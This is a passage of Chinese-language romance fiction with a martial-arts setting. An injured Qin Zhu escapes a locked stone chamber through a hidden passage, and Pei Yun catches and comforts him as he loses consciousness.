秦祝费力抬起手臂,看着那两个对称的血孔,心道真是两条怪蛇。 他强忍着身体的不适,扶墙站立,探索这里寻找出口。 这里是间小室,门被锁死了,青苔爬遍生裂的石壁,只有一盏微弱的壁灯来提供光亮,还有一副似被大火灼烧过的焦黑木制家具。 秦祝忽然联系到皇宫藏书阁的密室,一个想法油然而生——这处的火也是秦契放的。 凭借多年看江湖话本的经验,他立马做出选择,踉踉跄跄地来到壁灯前,并一把拉下它。 只听见“咔嚓咔嚓,哄——” 石壁自动向内推开。 往下的路黑不见底,秦祝脚一软从门口台阶上跌了下去。 他索性两眼一闭,心中默默念道,下次出门绝对要看黄历。 但想象中的疼痛并未到来,他的身下是柔软且温暖的。 “秦祝。” 眼前有微微光亮,昏暗中,秦祝看见一张熟悉的脸,只是那张脸上没了往日的淡漠,眉眼间情绪暗涌,显得陌生。 “抱歉,辰令来晚了。” 秦祝感觉自己被一双结实的臂膀紧紧抱在怀中,快喘不过气了。 “辰令......” 本想开口说自己没事,但先前被麻痹的疼痛感悉数回弹,秦祝紧紧咬住唇,蜷缩起的身体止不住地颤抖,眼前又一次模糊。 “别怕,我带你出去找小奚。”裴韫用自己的外衣裹住他,再将手臂放在他嘴前,温言安抚道:“松嘴,来咬我。” 是错觉吗?秦祝觉得裴韫也在颤抖。 但他此时如坠大海,失控的下沉至冰冷漆黑的更深处,意识混沌,耳边的声音在逐渐归于寂静,听不清一点。 “秦祝!”